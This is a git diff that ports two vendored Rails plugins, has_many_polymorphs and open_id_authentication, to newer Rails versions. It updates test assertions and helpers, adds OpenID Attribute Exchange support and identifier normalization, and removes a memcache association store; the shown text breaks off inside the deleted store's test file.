--- a/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb
+++ b/vendor/plugins/has_many_polymorphs/test/models/eaters_foodstuff.rb
@@ -3,8 +3,6 @@ class EatersFoodstuff < ActiveRecord::Base
   belongs_to :foodstuff, :class_name => "Petfood", :foreign_key => "foodstuff_id"
   belongs_to :eater, :polymorphic => true
   
-  def before_save
-    self.some_attribute = 3
-  end
+  before_save { |record| record.some_attribute = 3 }
 end
 
diff --git a/vendor/plugins/has_many_polymorphs/test/setup.rb b/vendor/plugins/has_many_polymorphs/test/setup.rb
index 361da8f7..52535798 100644
--- a/vendor/plugins/has_many_polymorphs/test/setup.rb
+++ b/vendor/plugins/has_many_polymorphs/test/setup.rb
@@ -6,8 +6,8 @@ Dir.chdir "#{File.dirname(__FILE__)}/integration/app/" do
     system("rm has_many_polymorphs; ln -s ../../../../../ has_many_polymorphs")
   end
 
-  system "rake db:drop --trace RAILS_GEM_VERSION=2.0.2 "
-  system "rake db:create --trace RAILS_GEM_VERSION=2.0.2 "
+  system "rake db:drop   --trace RAILS_GEM_VERSION=2.2.2 "
+  system "rake db:create --trace RAILS_GEM_VERSION=2.2.2 "
   system "rake db:migrate --trace"
   system "rake db:fixtures:load --trace"  
 end
diff --git a/vendor/plugins/has_many_polymorphs/test/test_helper.rb b/vendor/plugins/has_many_polymorphs/test/test_helper.rb
index 887bd86d..546cbec6 100644
--- a/vendor/plugins/has_many_polymorphs/test/test_helper.rb
+++ b/vendor/plugins/has_many_polymorphs/test/test_helper.rb
@@ -1,10 +1,11 @@
 
 $VERBOSE = nil
 require 'rubygems'
+require 'rake' # echoe relies on Rake being present but doesn't require it itself
 require 'echoe'
 require 'test/unit'
 require 'multi_rails_init'
-require 'ruby-debug'
+#require 'ruby-debug' # uncomment if needed (for Ruby >= 1.9 use require 'debug' where needed)
 
 if defined? ENV['MULTIRAILS_RAILS_VERSION']
   ENV['RAILS_GEM_VERSION'] = ENV['MULTIRAILS_RAILS_VERSION']
@@ -23,13 +24,13 @@ LOG = "#{HERE}/integration/app/log/development.log"
 require 'integration/app/config/environment'
 require 'test_help'
 
-Inflector.inflections {|i| i.irregular 'fish', 'fish' }
+ActiveSupport::Inflector.inflections {|i| i.irregular 'fish', 'fish' }
 
-$LOAD_PATH.unshift(Test::Unit::TestCase.fixture_path = HERE + "/fixtures")
+$LOAD_PATH.unshift(ActiveSupport::TestCase.fixture_path = HERE + "/fixtures")
 $LOAD_PATH.unshift(HERE + "/models")
 $LOAD_PATH.unshift(HERE + "/modules")
 
-class Test::Unit::TestCase
+class ActiveSupport::TestCase
   self.use_transactional_fixtures = !(ActiveRecord::Base.connection.is_a? ActiveRecord::ConnectionAdapters::MysqlAdapter rescue false)
   self.use_instantiated_fixtures  = false
 end
diff --git a/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb b/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb
index 7f4b05a4..d24a32e7 100644
--- a/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb
+++ b/vendor/plugins/has_many_polymorphs/test/unit/has_many_polymorphs_test.rb
@@ -10,7 +10,7 @@ require 'aquatic/fish'
 require 'aquatic/pupils_whale'
 require 'beautiful_fight_relationship' 
 
-class PolymorphTest < Test::Unit::TestCase
+class PolymorphTest < ActiveSupport::TestCase
   
   set_fixture_class :bow_wows => Dog
   set_fixture_class :keep_your_enemies_close => BeautifulFightRelationship
@@ -76,7 +76,7 @@ class PolymorphTest < Test::Unit::TestCase
   def test_duplicate_assignment
     # try to add a duplicate item when :ignore_duplicates is false
     @kibbles.eaters.push(@alice)
-    assert @kibbles.eaters.include?(@alice)
+    assert @kibbles.eaters.any? {|obj| obj == @alice}
     @kibbles.eaters.push(@alice)
     assert_equal @kibbles_eaters_count + 2, @kibbles.eaters.count
     assert_equal @join_count + 2, EatersFoodstuff.count
@@ -114,7 +114,7 @@ class PolymorphTest < Test::Unit::TestCase
 
     # reload; is the new association there?
     assert @bits.eaters.reload
-    assert @bits.eaters.include?(@chloe)
+    assert @bits.eaters.any? {|obj| obj == @chloe}
   end
 
   def test_build_join_record_on_association
@@ -126,7 +126,7 @@ class PolymorphTest < Test::Unit::TestCase
     assert_equal @join_count + 1, EatersFoodstuff.count
 
     assert @bits.eaters.reload
-    assert @bits.eaters.include?(@chloe)
+    assert @bits.eaters.any? {|obj| obj == @chloe}
   end
 
 #  not supporting this, since has_many :through doesn't support it either  
@@ -145,12 +145,12 @@ class PolymorphTest < Test::Unit::TestCase
   def test_self_reference
     assert @kibbles.eaters << @bits
     assert_equal @kibbles_eaters_count += 1, @kibbles.eaters.count
-    assert @kibbles.eaters.include?(@bits)
+    assert @kibbles.eaters.any? {|obj| obj == @bits}
     @kibbles.reload
     assert @kibbles.foodstuffs_of_eaters.blank?
     
     @bits.reload
-    assert @bits.foodstuffs_of_eaters.include?(@kibbles)
+    assert @bits.foodstuffs_of_eaters.any? {|obj| obj == @kibbles}
     assert_equal [@kibbles], @bits.foodstuffs_of_eaters
   end
 
@@ -190,9 +190,9 @@ class PolymorphTest < Test::Unit::TestCase
   def test_individual_collections_push
     assert_equal [@chloe], (@kibbles.eater_kittens << @chloe)
     @kibbles.reload
-    assert @kibbles.eaters.include?(@chloe)
-    assert @kibbles.eater_kittens.include?(@chloe)
-    assert !@kibbles.eater_dogs.include?(@chloe)
+    assert @kibbles.eaters.any? {|obj| obj == @chloe}
+    assert @kibbles.eater_kittens.any? {|obj| obj == @chloe}
+    assert !@kibbles.eater_dogs.any? {|obj| obj == @chloe}
   end
 
   def test_individual_collections_delete
@@ -204,7 +204,7 @@ class PolymorphTest < Test::Unit::TestCase
     
     @kibbles.reload    
     assert @kibbles.eater_kittens.empty?
-    assert @kibbles.eater_dogs.include?(@spot)
+    assert @kibbles.eater_dogs.any? {|obj| obj == @spot}
   end
   
   def test_individual_collections_clear
@@ -217,14 +217,14 @@ class PolymorphTest < Test::Unit::TestCase
 
     assert @kibbles.eater_kittens.empty?    
     assert_equal 2, @kibbles.eaters.size
-    assert !@kibbles.eater_kittens.include?(@chloe)
-    assert !@kibbles.eaters.include?(@chloe)
+    assert !@kibbles.eater_kittens.any? {|obj| obj == @chloe}
+    assert !@kibbles.eaters.any? {|obj| obj == @chloe}
 
     @kibbles.reload    
     assert @kibbles.eater_kittens.empty?    
     assert_equal 2, @kibbles.eaters.size
-    assert !@kibbles.eater_kittens.include?(@chloe)
-    assert !@kibbles.eaters.include?(@chloe)
+    assert !@kibbles.eater_kittens.any? {|obj| obj == @chloe}
+    assert !@kibbles.eaters.any? {|obj| obj == @chloe}
   end
   
   def test_childrens_individual_collections
@@ -316,13 +316,13 @@ class PolymorphTest < Test::Unit::TestCase
 
   def test_namespaced_polymorphic_collection
     @shamu.aquatic_pupils << @swimmy
-    assert @shamu.aquatic_pupils.include?(@swimmy)
+    assert @shamu.aquatic_pupils.any? {|obj| obj == @swimmy}
     @shamu.reload
-    assert @shamu.aquatic_pupils.include?(@swimmy)
+    assert @shamu.aquatic_pupils.any? {|obj| obj == @swimmy}
 
     @shamu.aquatic_pupils << @spot
-    assert @shamu.dogs.include?(@spot)
-    assert @shamu.aquatic_pupils.include?(@swimmy)
+    assert @shamu.dogs.any? {|obj| obj == @spot}
+    assert @shamu.aquatic_pupils.any? {|obj| obj == @swimmy}
     assert_equal @swimmy, @shamu.aquatic_fish.first
     assert_equal 10, @shamu.aquatic_fish.first.speed
   end
@@ -333,8 +333,8 @@ class PolymorphTest < Test::Unit::TestCase
     
     @shamu.reload
     @shamu.aquatic_pupils.delete @spot
-    assert !@shamu.dogs.include?(@spot)
-    assert !@shamu.aquatic_pupils.include?(@spot)
+    assert !@shamu.dogs.any? {|obj| obj == @spot}
+    assert !@shamu.aquatic_pupils.any? {|obj| obj == @spot}
     assert_equal 1, @shamu.aquatic_pupils.length
   end
   
@@ -357,9 +357,9 @@ class PolymorphTest < Test::Unit::TestCase
     @alice.enemies << @spot
     @alice.reload
     @spot.reload
-    assert @spot.protectors.include?(@alice)
-    assert @alice.enemies.include?(@spot)
-    assert !@alice.protectors.include?(@alice)
+    assert @spot.protectors.any? {|obj| obj == @alice}
+    assert @alice.enemies.any? {|obj| obj == @spot}
+    assert !@alice.protectors.any? {|obj| obj == @alice}
     assert_equal 1, @alice.beautiful_fight_relationships_as_protector.size
     assert_equal 0, @alice.beautiful_fight_relationships_as_enemy.size
     assert_equal 1, @alice.beautiful_fight_relationships.size
@@ -367,7 +367,7 @@ class PolymorphTest < Test::Unit::TestCase
     # self reference
     assert_equal 1, @alice.enemies.length
     @alice.enemies.push @alice
-    assert @alice.enemies.include?(@alice)
+    assert @alice.enemies.any? {|obj| obj == @alice}
     assert_equal 2, @alice.enemies.length    
     @alice.reload
     assert_equal 2, @alice.beautiful_fight_relationships_as_protector.size
@@ -386,7 +386,7 @@ class PolymorphTest < Test::Unit::TestCase
     assert_equal @double_join_count + 1, BeautifulFightRelationship.count
 
     assert @alice.enemies.reload
-    assert @alice.enemies.include?(@spot)
+    assert @alice.enemies.any? {|obj| obj == @spot}
   end
   
   def test_double_dependency_injection
@@ -396,12 +396,12 @@ class PolymorphTest < Test::Unit::TestCase
   def test_double_collection_deletion
     @alice.enemies << @spot
     @alice.reload
-    assert @alice.enemies.include?(@spot)
+    assert @alice.enemies.any? {|obj| obj == @spot}
     @alice.enemies.delete(@spot)
-    assert !@alice.enemies.include?(@spot)
+    assert !@alice.enemies.any? {|obj| obj == @spot}
     assert @alice.enemies.empty?
     @alice.reload
-    assert !@alice.enemies.include?(@spot)
+    assert !@alice.enemies.any? {|obj| obj == @spot}
     assert @alice.enemies.empty?
     assert_equal 0, @alice.beautiful_fight_relationships.size
   end
@@ -409,12 +409,12 @@ class PolymorphTest < Test::Unit::TestCase
   def test_double_collection_deletion_from_opposite_side
     @alice.protectors << @puma
     @alice.reload
-    assert @alice.protectors.include?(@puma)
+    assert @alice.protectors.any? {|obj| obj == @puma}
     @alice.protectors.delete(@puma)
-    assert !@alice.protectors.include?(@puma)
+    assert !@alice.protectors.any? {|obj| obj == @puma}
     assert @alice.protectors.empty?
     @alice.reload
-    assert !@alice.protectors.include?(@puma)
+    assert !@alice.protectors.any? {|obj| obj == @puma}
     assert @alice.protectors.empty?
     assert_equal 0, @alice.beautiful_fight_relationships.size
   end
@@ -423,59 +423,58 @@ class PolymorphTest < Test::Unit::TestCase
     assert @alice.dogs.empty?
     @alice.enemies << @spot
 
-    assert @alice.enemies.include?(@spot)
-    assert !@alice.kittens.include?(@alice)    
+    assert @alice.enemies.any? {|obj| obj == @spot}
+    assert !@alice.kittens.any? {|obj| obj == @alice}    
 
-    assert !@alice.dogs.include?(@spot)    
+    assert !@alice.dogs.any? {|obj| obj == @spot}    
     @alice.reload
-    assert @alice.dogs.include?(@spot)    
-    assert !WildBoar.find(@alice.id).dogs.include?(@spot) # make sure the parent type is checked
+    assert @alice.dogs.any? {|obj| obj == @spot}    
+    assert !WildBoar.find(@alice.id).dogs.any? {|obj| obj == @spot} # make sure the parent type is checked
   end
 
   def test_individual_collections_created_for_double_relationship_from_opposite_side
     assert @alice.wild_boars.empty?
     @alice.protectors << @puma
-
-    assert @alice.protectors.include?(@puma)
-    assert !@alice.wild_boars.include?(@puma)    
     @alice.reload
-    assert @alice.wild_boars.include?(@puma)    
+
+    assert @alice.protectors.any? {|obj| obj == @puma}
+    assert @alice.wild_boars.any? {|obj| obj == @puma}    
     
-    assert !Dog.find(@alice.id).wild_boars.include?(@puma) # make sure the parent type is checked
+    assert !Dog.find(@alice.id).wild_boars.any? {|obj| obj == @puma} # make sure the parent type is checked
   end
   
   def test_self_referential_individual_collections_created_for_double_relationship
     @alice.enemies << @alice
     @alice.reload
-    assert @alice.enemy_kittens.include?(@alice)
-    assert @alice.protector_kittens.include?(@alice)
-    assert @alice.kittens.include?(@alice)
+    assert @alice.enemy_kittens.any? {|obj| obj == @alice}
+    assert @alice.protector_kittens.any? {|obj| obj == @alice}
+    assert @alice.kittens.any? {|obj| obj == @alice}
     assert_equal 2, @alice.kittens.size
 
     @alice.enemies << (@chloe =  Kitten.find_by_name('Chloe'))
     @alice.reload
-    assert @alice.enemy_kittens.include?(@chloe)
-    assert !@alice.protector_kittens.include?(@chloe)
-    assert @alice.kittens.include?(@chloe)
+    assert @alice.enemy_kittens.any? {|obj| obj == @chloe}
+    assert !@alice.protector_kittens.any? {|obj| obj == @chloe}
+    assert @alice.kittens.any? {|obj| obj == @chloe}
     assert_equal 3, @alice.kittens.size    
   end
     
   def test_child_of_polymorphic_join_can_reach_parent
     @alice.enemies << @spot    
     @alice.reload
-    assert @spot.protectors.include?(@alice)
+    assert @spot.protectors.any? {|obj| obj == @alice}
   end
   
   def test_double_collection_deletion_from_child_polymorphic_join
     @alice.enemies << @spot
     @spot.protectors.delete(@alice)
-    assert !@spot.protectors.include?(@alice)
+    assert !@spot.protectors.any? {|obj| obj == @alice}
     @alice.reload
-    assert !@alice.enemies.include?(@spot)
+    assert !@alice.enemies.any? {|obj| obj == @spot}
     BeautifulFightRelationship.create(:protector_id => 2, :protector_type => "Dog", :enemy_id => @spot.id, :enemy_type => @spot.class.name)
     @alice.enemies << @spot
     @spot.protectors.delete(@alice)
-    assert !@spot.protectors.include?(@alice)
+    assert !@spot.protectors.any? {|obj| obj == @alice}
   end
 
   def test_collection_query_on_unsaved_record
@@ -486,15 +485,15 @@ class PolymorphTest < Test::Unit::TestCase
   def test_double_individual_collections_push
     assert_equal [@chloe], (@spot.protector_kittens << @chloe)
     @spot.reload
-    assert @spot.protectors.include?(@chloe)
-    assert @spot.protector_kittens.include?(@chloe)
-    assert !@spot.protector_dogs.include?(@chloe)
+    assert @spot.protectors.any? {|obj| obj == @chloe}
+    assert @spot.protector_kittens.any? {|obj| obj == @chloe}
+    assert !@spot.protector_dogs.any? {|obj| obj == @chloe}
  
     assert_equal [@froggy], (@spot.frogs << @froggy)
     @spot.reload
-    assert @spot.enemies.include?(@froggy)
-    assert @spot.frogs.include?(@froggy)
-    assert !@spot.enemy_dogs.include?(@froggy)
+    assert @spot.enemies.any? {|obj| obj == @froggy}
+    assert @spot.frogs.any? {|obj| obj == @froggy}
+    assert !@spot.enemy_dogs.any? {|obj| obj == @froggy}
   end
 
   def test_double_individual_collections_delete
@@ -506,7 +505,7 @@ class PolymorphTest < Test::Unit::TestCase
     
     @spot.reload    
     assert @spot.protector_kittens.empty?
-    assert @spot.wild_boars.include?(@puma)
+    assert @spot.wild_boars.any? {|obj| obj == @puma}
   end
   
   def test_double_individual_collections_clear
@@ -518,12 +517,12 @@ class PolymorphTest < Test::Unit::TestCase
     @spot.reload    
     assert @spot.protector_kittens.empty?    
     assert_equal 1, @spot.protectors.size
-    assert !@spot.protector_kittens.include?(@chloe)
-    assert !@spot.protectors.include?(@chloe)
-    assert !@spot.protector_kittens.include?(@alice)
-    assert !@spot.protectors.include?(@alice)
-    assert @spot.protectors.include?(@puma)
-    assert @spot.wild_boars.include?(@puma)
+    assert !@spot.protector_kittens.any? {|obj| obj == @chloe}
+    assert !@spot.protectors.any? {|obj| obj == @chloe}
+    assert !@spot.protector_kittens.any? {|obj| obj == @alice}
+    assert !@spot.protectors.any? {|obj| obj == @alice}
+    assert @spot.protectors.any? {|obj| obj == @puma}
+    assert @spot.wild_boars.any? {|obj| obj == @puma}
   end 
 
   def test_single_extensions
diff --git a/vendor/plugins/open_id_authentication/README b/vendor/plugins/open_id_authentication/README
index 493799d3..807cdc75 100644
--- a/vendor/plugins/open_id_authentication/README
+++ b/vendor/plugins/open_id_authentication/README
@@ -214,5 +214,18 @@ You can support it in your app by changing #open_id_authentication
         { :login => 'nickname', :email => 'email', :display_name => 'fullname' }
       end
 
+Attribute Exchange OpenID Extension
+===================================
+
+Some OpenID providers also support the OpenID AX (attribute exchange) protocol for exchanging identity information between endpoints.  See more: http://openid.net/specs/openid-attribute-exchange-1_0.html
+
+Accessing AX data is very similar to the Simple Registration process, described above -- just add the URI identifier for the AX field to your :optional or :required parameters.  For example:
+
+        authenticate_with_open_id(identity_url, 
+            :required => [ :email, 'http://schema.openid.net/birthDate' ]) do |result, identity_url, registration|
+      
+This would provide the sreg data for :email, and the AX data for 'http://schema.openid.net/birthDate'
+
+
 
 Copyright (c) 2007 David Heinemeier Hansson, released under the MIT license
\ No newline at end of file
diff --git a/vendor/plugins/open_id_authentication/init.rb b/vendor/plugins/open_id_authentication/init.rb
index 54496efe..808c7bdb 100644
--- a/vendor/plugins/open_id_authentication/init.rb
+++ b/vendor/plugins/open_id_authentication/init.rb
@@ -13,5 +13,6 @@ else
 end
 
 config.to_prepare do
+  OpenID::Util.logger = Rails.logger
   ActionController::Base.send :include, OpenIdAuthentication
 end
diff --git a/vendor/plugins/open_id_authentication/lib/open_id_authentication.rb b/vendor/plugins/open_id_authentication/lib/open_id_authentication.rb
index 17256692..b485c5fe 100644
--- a/vendor/plugins/open_id_authentication/lib/open_id_authentication.rb
+++ b/vendor/plugins/open_id_authentication/lib/open_id_authentication.rb
@@ -1,9 +1,11 @@
 require 'uri'
 require 'openid/extensions/sreg'
+require 'openid/extensions/ax'
 require 'openid/store/filesystem'
 
+require File.dirname(__FILE__) + '/open_id_authentication/association'
+require File.dirname(__FILE__) + '/open_id_authentication/nonce'
 require File.dirname(__FILE__) + '/open_id_authentication/db_store'
-require File.dirname(__FILE__) + '/open_id_authentication/mem_cache_store'
 require File.dirname(__FILE__) + '/open_id_authentication/request'
 require File.dirname(__FILE__) + '/open_id_authentication/timeout_fixes' if OpenID::VERSION == "2.0.4"
 
@@ -20,12 +22,10 @@ module OpenIdAuthentication
     @@store = case store
     when :db
       OpenIdAuthentication::DbStore.new
-    when :mem_cache
-      OpenIdAuthentication::MemCacheStore.new(*parameters)
     when :file
       OpenID::Store::Filesystem.new(OPEN_ID_AUTHENTICATION_DIR)
     else
-      raise "Unknown store: #{store}"
+      store
     end
   end
 
@@ -70,13 +70,38 @@ module OpenIdAuthentication
     end
   end
 
+  # normalizes an OpenID according to http://openid.net/specs/openid-authentication-2_0.html#normalization
+  def self.normalize_identifier(identifier)
+    # clean up whitespace
+    identifier = identifier.to_s.strip
+
+    # if an XRI has a prefix, strip it.
+    identifier.gsub!(/xri:\/\//i, '')
+
+    # dodge XRIs -- TODO: validate, don't just skip.
+    unless ['=', '@', '+', '$', '!', '('].include?(identifier.at(0))
+      # does it begin with http?  if not, add it.
+      identifier = "http://#{identifier}" unless identifier =~ /^http/i
+
+      # strip any fragments
+      identifier.gsub!(/\#(.*)$/, '')
+
+      begin
+        uri = URI.parse(identifier)
+        uri.scheme = uri.scheme.downcase  # URI should do this
+        identifier = uri.normalize.to_s
+      rescue URI::InvalidURIError
+        raise InvalidOpenId.new("#{identifier} is not an OpenID identifier")
+      end
+    end
+
+    return identifier
+  end
+
+  # deprecated for OpenID 2.0, where not all OpenIDs are URLs
   def self.normalize_url(url)
-    uri = URI.parse(url.to_s.strip)
-    uri = URI.parse("http://#{uri}") unless uri.scheme
-    uri.scheme = uri.scheme.downcase  # URI should do this
-    uri.normalize.to_s
-  rescue URI::InvalidURIError
-    raise InvalidOpenId.new("#{url} is not an OpenID URL")
+    ActiveSupport::Deprecation.warn "normalize_url has been deprecated, use normalize_identifier instead"
+    self.normalize_identifier(url)
   end
 
   protected
@@ -84,6 +109,10 @@ module OpenIdAuthentication
       OpenIdAuthentication.normalize_url(url)
     end
 
+    def normalize_identifier(url)
+      OpenIdAuthentication.normalize_identifier(url)
+    end
+
     # The parameter name of "openid_identifier" is used rather than the Rails convention "open_id_identifier"
     # because that's what the specification dictates in order to get browser auto-complete working across sites
     def using_open_id?(identity_url = nil) #:doc:
@@ -103,12 +132,16 @@ module OpenIdAuthentication
 
   private
     def begin_open_id_authentication(identity_url, options = {})
-      identity_url = normalize_url(identity_url)
+      identity_url = normalize_identifier(identity_url)
       return_to    = options.delete(:return_to)
       method       = options.delete(:method)
+      
+      options[:required] ||= []  # reduces validation later
+      options[:optional] ||= []
 
       open_id_request = open_id_consumer.begin(identity_url)
       add_simple_registration_fields(open_id_request, options)
+      add_ax_fields(open_id_request, options)
       redirect_to(open_id_redirect_url(open_id_request, return_to, method))
     rescue OpenIdAuthentication::InvalidOpenId => e
       yield Result[:invalid], identity_url, nil
@@ -121,11 +154,20 @@ module OpenIdAuthentication
       params_with_path = params.reject { |key, value| request.path_parameters[key] }
       params_with_path.delete(:format)
       open_id_response = timeout_protection_from_identity_server { open_id_consumer.complete(params_with_path, requested_url) }
-      identity_url     = normalize_url(open_id_response.display_identifier) if open_id_response.display_identifier
+      identity_url     = normalize_identifier(open_id_response.display_identifier) if open_id_response.display_identifier
 
       case open_id_response.status
       when OpenID::Consumer::SUCCESS
-        yield Result[:successful], identity_url, OpenID::SReg::Response.from_success_response(open_id_response)
+        profile_data = {}
+
+        # merge the SReg data and the AX data into a single hash of profile data
+        [ OpenID::SReg::Response, OpenID::AX::FetchResponse ].each do |data_response|
+          if data_response.from_success_response( open_id_response )
+            profile_data.merge! data_response.from_success_response( open_id_response ).data
+          end
+        end
+        
+        yield Result[:successful], identity_url, profile_data
       when OpenID::Consumer::CANCEL
         yield Result[:canceled], identity_url, nil
       when OpenID::Consumer::FAILURE
@@ -141,12 +183,34 @@ module OpenIdAuthentication
 
     def add_simple_registration_fields(open_id_request, fields)
       sreg_request = OpenID::SReg::Request.new
-      sreg_request.request_fields(Array(fields[:required]).map(&:to_s), true) if fields[:required]
-      sreg_request.request_fields(Array(fields[:optional]).map(&:to_s), false) if fields[:optional]
+      
+      # filter out AX identifiers (URIs)
+      required_fields = fields[:required].collect { |f| f.to_s unless f =~ /^https?:\/\// }.compact
+      optional_fields = fields[:optional].collect { |f| f.to_s unless f =~ /^https?:\/\// }.compact
+      
+      sreg_request.request_fields(required_fields, true) unless required_fields.blank?
+      sreg_request.request_fields(optional_fields, false) unless optional_fields.blank?
       sreg_request.policy_url = fields[:policy_url] if fields[:policy_url]
       open_id_request.add_extension(sreg_request)
     end
+    
+    def add_ax_fields( open_id_request, fields )
+      ax_request = OpenID::AX::FetchRequest.new
+      
+      # look through the :required and :optional fields for URIs (AX identifiers)
+      fields[:required].each do |f|
+        next unless f =~ /^https?:\/\//
+        ax_request.add( OpenID::AX::AttrInfo.new( f, nil, true ) )
+      end
 
+      fields[:optional].each do |f|
+        next unless f =~ /^https?:\/\//
+        ax_request.add( OpenID::AX::AttrInfo.new( f, nil, false ) )
+      end
+      
+      open_id_request.add_extension( ax_request )
+    end
+        
     def open_id_redirect_url(open_id_request, return_to = nil, method = nil)
       open_id_request.return_to_args['_method'] = (method || request.method).to_s
       open_id_request.return_to_args['open_id_complete'] = '1'
@@ -157,7 +221,7 @@ module OpenIdAuthentication
       relative_url_root = self.class.respond_to?(:relative_url_root) ?
         self.class.relative_url_root.to_s :
         request.relative_url_root
-      "#{request.protocol + request.host_with_port + relative_url_root + request.path}"
+      "#{request.protocol}#{request.host_with_port}#{ActionController::Base.relative_url_root}#{request.path}"
     end
 
     def timeout_protection_from_identity_server
diff --git a/vendor/plugins/open_id_authentication/lib/open_id_authentication/mem_cache_store.rb b/vendor/plugins/open_id_authentication/lib/open_id_authentication/mem_cache_store.rb
deleted file mode 100644
index b520e4a8..00000000
--- a/vendor/plugins/open_id_authentication/lib/open_id_authentication/mem_cache_store.rb
+++ /dev/null
@@ -1,73 +0,0 @@
-require 'digest/sha1'
-require 'openid/store/interface'
-
-module OpenIdAuthentication
-  class MemCacheStore < OpenID::Store::Interface
-    def initialize(*addresses)
-      @connection = ActiveSupport::Cache::MemCacheStore.new(addresses)
-    end
-
-    def store_association(server_url, assoc)
-      server_key = association_server_key(server_url)
-      assoc_key = association_key(server_url, assoc.handle)
-
-      assocs = @connection.read(server_key) || {}
-      assocs[assoc.issued] = assoc_key
-
-      @connection.write(server_key, assocs)
-      @connection.write(assoc_key, assoc, :expires_in => assoc.lifetime)
-    end
-
-    def get_association(server_url, handle = nil)
-      if handle
-        @connection.read(association_key(server_url, handle))
-      else
-        server_key = association_server_key(server_url)
-        assocs = @connection.read(server_key)
-        return if assocs.nil?
-
-        last_key = assocs[assocs.keys.sort.last]
-        @connection.read(last_key)
-      end
-    end
-
-    def remove_association(server_url, handle)
-      server_key = association_server_key(server_url)
-      assoc_key = association_key(server_url, handle)
-      assocs = @connection.read(server_key)
-
-      return false unless assocs && assocs.has_value?(assoc_key)
-
-      assocs = assocs.delete_if { |key, value| value == assoc_key }
-
-      @connection.write(server_key, assocs)
-      @connection.delete(assoc_key)
-
-      return true
-    end
-
-    def use_nonce(server_url, timestamp, salt)
-      return false if @connection.read(nonce_key(server_url, salt))
-      return false if (timestamp - Time.now.to_i).abs > OpenID::Nonce.skew
-      @connection.write(nonce_key(server_url, salt), timestamp, :expires_in => OpenID::Nonce.skew)
-      return true
-    end
-
-    private
-      def association_key(server_url, handle = nil)
-        "openid_association_#{digest(server_url)}_#{digest(handle)}"
-      end
-
-      def association_server_key(server_url)
-        "openid_association_server_#{digest(server_url)}"
-      end
-
-      def nonce_key(server_url, salt)
-        "openid_nonce_#{digest(server_url)}_#{digest(salt)}"
-      end
-
-      def digest(text)
-        Digest::SHA1.hexdigest(text)
-      end
-  end
-end
diff --git a/vendor/plugins/open_id_authentication/lib/open_id_authentication/request.rb b/vendor/plugins/open_id_authentication/lib/open_id_authentication/request.rb
index 9ce84363..e0cc8e3f 100644
--- a/vendor/plugins/open_id_authentication/lib/open_id_authentication/request.rb
+++ b/vendor/plugins/open_id_authentication/lib/open_id_authentication/request.rb
@@ -14,4 +14,10 @@ module OpenIdAuthentication
   end
 end
 
-ActionController::AbstractRequest.send :include, OpenIdAuthentication::Request
+# In Rails 2.3, the request object has been renamed
+# from AbstractRequest to Request
+if defined? ActionController::Request
+  ActionController::Request.send :include, OpenIdAuthentication::Request
+else
+  ActionController::AbstractRequest.send :include, OpenIdAuthentication::Request
+end
diff --git a/vendor/plugins/open_id_authentication/test/mem_cache_store_test.rb b/vendor/plugins/open_id_authentication/test/mem_cache_store_test.rb
deleted file mode 100644
index 18a94397..00000000
--- a/vendor/plugins/open_id_authentication/test/mem_cache_store_test.rb
+++ /dev/null
@@ -1,151 +0,0 @@
-require File.dirname(__FILE__) + '/test_helper'
-require File.dirname(__FILE__) + '/../lib/open_id_authentication/mem_cache_store'
-
-# Mock MemCacheStore with MemoryStore for testing
-class OpenIdAuthentication::MemCacheStore < OpenID::Store::Interface
-  def initialize(*addresses)
-    @connection = ActiveSupport::Cache::MemoryStore.new
-  end
-end
-
-class MemCacheStoreTest < Test::Unit::TestCase
-  ALLOWED_HANDLE = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~'
-
-  def setup
-    @store = OpenIdAuthentication::MemCacheStore.new
-  end
-
-  def test_store
-    server_url = "http://www.myopenid.com/openid"
-    assoc = gen_assoc(0)
-
-    # Make sure that a missing association returns no result
-    assert_retrieve(server_url)
-
-    # Check that after storage, getting returns the same result
-    @store.store_association(server_url, assoc)
-    assert_retrieve(server_url, nil, assoc)
-
-    # more than once
-    assert_retrieve(server_url, nil, assoc)
-
-    # Storing more than once has no ill effect
-    @store.store_association(server_url, assoc)
-    assert_retrieve(server_url, nil, assoc)
-
-    # Removing an association that does not exist returns not present
-    assert_remove(server_url, assoc.handle + 'x', false)
-
-    # Removing an association that does not exist returns not present
-    assert_remove(server_url + 'x', assoc.handle, false)
-
-    # Removing an association that is present returns present
-    assert_remove(server_url, assoc.handle, true)
-
-    # but not present on subsequent calls
-    assert_remove(server_url, assoc.handle, false)
-
-    # Put assoc back in the store
-    @store.store_association(server_url, assoc)
-
-    # More recent and expires after assoc
-    assoc2 = gen_assoc(1)
-    @store.store_association(server_url, assoc2)
-
-    # After storing an association with a different handle, but the
-    # same server_url, the handle with the later expiration is returned.
-    assert_retrieve(server_url, nil, assoc2)
-
-    # We can still retrieve the older association
-    assert_retrieve(server_url, assoc.handle, assoc)
-
-    # Plus we can retrieve the association with the later expiration
-    # explicitly
-    assert_retrieve(server_url, assoc2.handle, assoc2)
-
-    # More recent, and expires earlier than assoc2 or assoc. Make sure
-    # that we're picking the one with the latest issued date and not
-    # taking into account the expiration.
-    assoc3 = gen_assoc(2, 100)
-    @store.store_association(server_url, assoc3)
-
-    assert_retrieve(server_url, nil, assoc3)
-    assert_retrieve(server_url, assoc.handle, assoc)
-    assert_retrieve(server_url, assoc2.handle, assoc2)
-    assert_retrieve(server_url, assoc3.handle, assoc3)
-
-    assert_remove(server_url, assoc2.handle, true)
-
-    assert_retrieve(server_url, nil, assoc3)
-    assert_retrieve(server_url, assoc.handle, assoc)
-    assert_retrieve(server_url, assoc2.handle, nil)
-    assert_retrieve(server_url, assoc3.handle, assoc3)
-
-    assert_remove(server_url, assoc2.handle, false)
-    assert_remove(server_url, assoc3.handle, true)
-
-    assert_retrieve(server_url, nil, assoc)
-    assert_retrieve(server_url, assoc.handle, assoc)
-    assert_retrieve(server_url, assoc2.handle, nil)
-    assert_retrieve(server_url, assoc3.handle, nil)
-
-    assert_remove(server_url, assoc2.handle, false)
-    assert_remove(server_url, assoc.handle, true)
-    assert_remove(server_url, assoc3.handle, false)
-
-    assert_retrieve(server_url, nil, nil)
-    assert_retrieve(server_url, assoc.handle, nil)
-    assert_retrieve(server_url, assoc2.handle, nil)
-    assert_retrieve(server_url, assoc3.handle, nil)
-
-    assert_remove(server_url, assoc2.handle, false)
-    assert_remove(server_url, assoc.handle, false)
-    assert_remove(server_url, assoc3.handle, false)
-  end
-
-  def test_nonce
-    server_url = "http://www.myopenid.com/openid"
-
